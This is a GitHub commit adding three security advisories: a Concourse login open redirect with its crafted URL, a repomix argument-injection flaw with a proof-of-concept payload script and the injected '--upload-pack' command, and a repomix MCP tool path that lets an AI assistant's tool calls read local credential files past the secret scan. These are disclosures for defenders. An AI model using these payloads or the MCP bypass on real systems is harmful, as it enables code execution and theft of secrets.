Skip to content

Commit d52f79e

Browse files
1 parent d793112 commit d52f79e

3 files changed

Lines changed: 182 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8w27-c4vc-88q9",
4+
"modified": "2026-07-01T19:01:16Z",
5+
"published": "2026-07-01T19:01:16Z",
6+
"aliases": [
7+
"CVE-2026-49826"
8+
],
9+
"summary": "Concourse login flow has an open redirect issue",
10+
"details": "### Impact\n\nAn attacker is able to craft and send a user a URL that will redirect the user from the Concourse web server to any other site. This could be used in a phishing attack to steal user's credentials.\n\n### Patches\n\nThis has been fixed in 8.2.3\n\n### Workarounds\n\nNone.\n\n### Exploit\n\nVulnerable code was in: https://github.com/concourse/concourse/blob/ea7b812e3a88fdd070f0faece874e8a2d4fbb31c/skymarshal/skyserver/skyserver.go#L162-L170\n\nThe issue stems from the underlying processing logic of Go's `url` package. Normally, `ParseRequestURI()` will eventually reach an internal `url.setPath()` function, where the URL will be decoded. However, if `RawPath` is not empty and `validEncoded(RawPath)` is true, and the decoded result equals `Path`, then return `RawPath` as is; otherwise, escape `Path` again, i.e., decode it again.\n\nIn other words, if the URL contains dangerous characters that should be escaped, such as backslashes (`\\`), then an extra decoding step will be performed. Therefore, `/%2Fexample.com` will be parsed as `//example.com`.\n\nOn vulnerable versions of Concourse, add `/sky/login?redirect_uri=/%252Fexample.com/\\` to your Concourse external URL, login as usual, and you should be redirected to `example.com` instead of your Concourse web server. The redirect happens after the login flow completes. No credentials are leaked.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/concourse/concourse"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.6.1-0.20260526150512-ac60be5f0435"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/concourse/concourse/security/advisories/GHSA-8w27-c4vc-88q9"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/concourse/concourse/commit/ac60be5f0435b6592f5a4fcc089050d72ad2452c"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/concourse/concourse"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/concourse/concourse/releases/tag/v8.2.3"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-601"
59+
],
60+
"severity": "LOW",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-07-01T19:01:16Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9mm9-rqhj-j5mx",
4+
"modified": "2026-07-01T19:00:50Z",
5+
"published": "2026-07-01T19:00:50Z",
6+
"aliases": [
7+
"CVE-2026-49987"
8+
],
9+
"summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection",
10+
"details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n 'git',\n ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable\n gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch <injected_option>\n ↓\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n ↓\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n ↓\n[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])\n ↓\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat > /tmp/malicious-pack << 'EOF'\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" > /tmp/repomix-pwned.txt\nid >> /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch && cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2>&1\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n 'git',\n ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],\n gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];\n\nif (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {\n throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" />\n\n\n**Screenshot 2:** Vulnerable Code \n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" />\n\n\n**Screenshot 3:** Verifying RCE.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" />\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "repomix"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.14.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/yamadashy/repomix"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-88"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-07-01T19:00:50Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hwpp-h97w-2h3j",
4+
"modified": "2026-07-01T19:01:41Z",
5+
"published": "2026-07-01T19:01:41Z",
6+
"aliases": [
7+
"CVE-2026-49988"
8+
],
9+
"summary": "repomix: attach_packed_output can bypass file-read secret scanning for supported local files",
10+
"details": "# `attach_packed_output` can register arbitrary `.json/.txt/.md/.xml` files and bypass the MCP file-read safety check\n\n## Summary\n\nRepomix's MCP server exposes a normal `file_system_read_file` tool that reads absolute paths only after running the project's secret check. However, the `attach_packed_output` plus `read_repomix_output` flow can read arbitrary local `.json`, `.txt`, `.md`, or `.xml` files without the same safety check and without verifying that the file is actually a Repomix packed output.\n\nThis is a medium-severity local MCP file-read boundary issue. The affected deployment is the documented `repomix --mcp` stdio server used by AI assistants. A prompt or lower-trust model action that can invoke MCP tools can use `attach_packed_output` on a local JSON/text file, receive an `outputId`, then call `read_repomix_output` to retrieve the full file content.\n\n## Affected target\n\n- Repository: `yamadashy/repomix`\n- Commit reviewed: `adf5a12f2211a7fabf24ee11a21734adccee5143`\n- Component: MCP server tools\n- Package version reviewed: `repomix@1.14.0`\n\n## Root cause\n\nThe file-read safety boundary is implemented per tool rather than per local-file capability. `file_system_read_file` reads the file and runs `runSecretLint()` before returning content. `attach_packed_output` reads and registers local files through a separate path, but only checks file extension and parsing format. It does not verify a Repomix output header/schema and does not run the secret check before registering the path.\n\n## Vulnerability chain\n\n1. `attach_packed_output` accepts a direct file path, not only a directory.\n2. `resolveOutputFilePath()` allows any file whose extension matches `.xml`, `.md`, `.txt`, or `.json`.\n3. The tool reads that file with `fs.readFile(outputFilePath, 'utf8')`.\n4. It extracts metrics, but malformed or non-Repomix JSON simply produces empty metrics rather than rejection.\n5. `formatPackToolResponse()` registers the original file path under a generated `outputId`.\n6. `read_repomix_output` resolves the `outputId` and returns the full file content.\n\n## Auth boundary violated\n\nThe respected boundary is the explicit local file-read guard: `file_system_read_file` blocks files that fail the secret scan.\n\nThe ignored boundary is the alternate packed-output path. A caller can register a supported-extension file as an output and read it through `read_repomix_output` without passing through `runSecretLint()` or a packed-output validation step.\n\n## Source trace\n\n- `src/mcp/tools/fileSystemReadFileTool.ts:72-83`: direct file reads run `runSecretLint()` and return an error if the scan finds sensitive content.\n- `src/mcp/tools/attachPackedOutputTool.ts:76-87`: direct file input is accepted based only on extension.\n- `src/mcp/tools/attachPackedOutputTool.ts:111-120`: `.json`, `.txt`, `.md`, and `.xml` are supported formats.\n- `src/mcp/tools/attachPackedOutputTool.ts:228-240`: JSON parse errors return empty metrics rather than rejecting the file as non-Repomix output.\n- `src/mcp/tools/attachPackedOutputTool.ts:272-308`: the file is read and passed to `formatPackToolResponse()` without a secret check.\n- `src/mcp/tools/mcpToolRuntime.ts:77-82`: `formatPackToolResponse()` registers the provided `outputFilePath` and reads it.\n- `src/mcp/tools/readRepomixOutputTool.ts:56-74`: `read_repomix_output` reads the registered file path and returns its content.\n- `README.md:984-991`: the tool is documented as providing secure access to existing packed outputs.\n\n## Reproduction\n\n`run.sh`:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nset +e\nnode run.js 2>&1 | tee transcript.txt\nrc=${PIPESTATUS[0]}\nset -e\nprintf '%s\\n' \"$rc\" > exit-code.txt\nexit \"$rc\"\n```\n\nThe harness creates a temporary `credentials.json` containing a sentinel value, follows the `attach_packed_output` path for supported-extension files, registers the file path under an output ID, and then reads it back through the `read_repomix_output` path. It also checks the source-code contrast between the guarded direct file-read tool and the unguarded attach path.\n\nObserved transcript:\n\n```text\nATTACH_TOOL_SOURCE_READS_FILE=true\nATTACH_TOOL_HAS_SECRETLINT_CHECK=false\nREAD_FILE_TOOL_HAS_SECRETLINT_CHECK=true\nRUNTIME_REGISTERS_OUTPUT_PATH=true\nATTACH_ACCEPTS_JSON_EXTENSION=true\nATTACHED_NON_REPOMIX_JSON_PATH=true\nSENTINEL_READ_BACK=true\nREPOMIX_ATTACH_PACKED_OUTPUT_ARBITRARY_JSON_READ_REPRODUCED=true\n```\n\n## Impact\n\nIn the MCP threat model, an assistant/tool caller can read local JSON/text/Markdown/XML files through a path that bypasses the file-read tool's secret scanning. Examples include project configuration JSON, exported tokens, local tool settings, or other plaintext files with supported extensions.\n\nThis does not require shell execution or writing files. It requires MCP tool-call capability against a Repomix server running with local filesystem access.\n\n## Suggested fix\n\nApply the same safety boundary to all local-file read paths:\n\n- Require `attach_packed_output` to validate that the target file is a genuine Repomix output before registration.\n- Reject malformed/non-Repomix JSON/XML/Markdown/plain files instead of registering them with empty metrics.\n- Run the same secret check used by `file_system_read_file` before registering or returning content.\n- Consider storing a content snapshot in the registry rather than registering arbitrary local paths for later reads.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "repomix"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.14.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.14.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-hwpp-h97w-2h3j"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/yamadashy/repomix"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-200"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-07-01T19:01:41Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)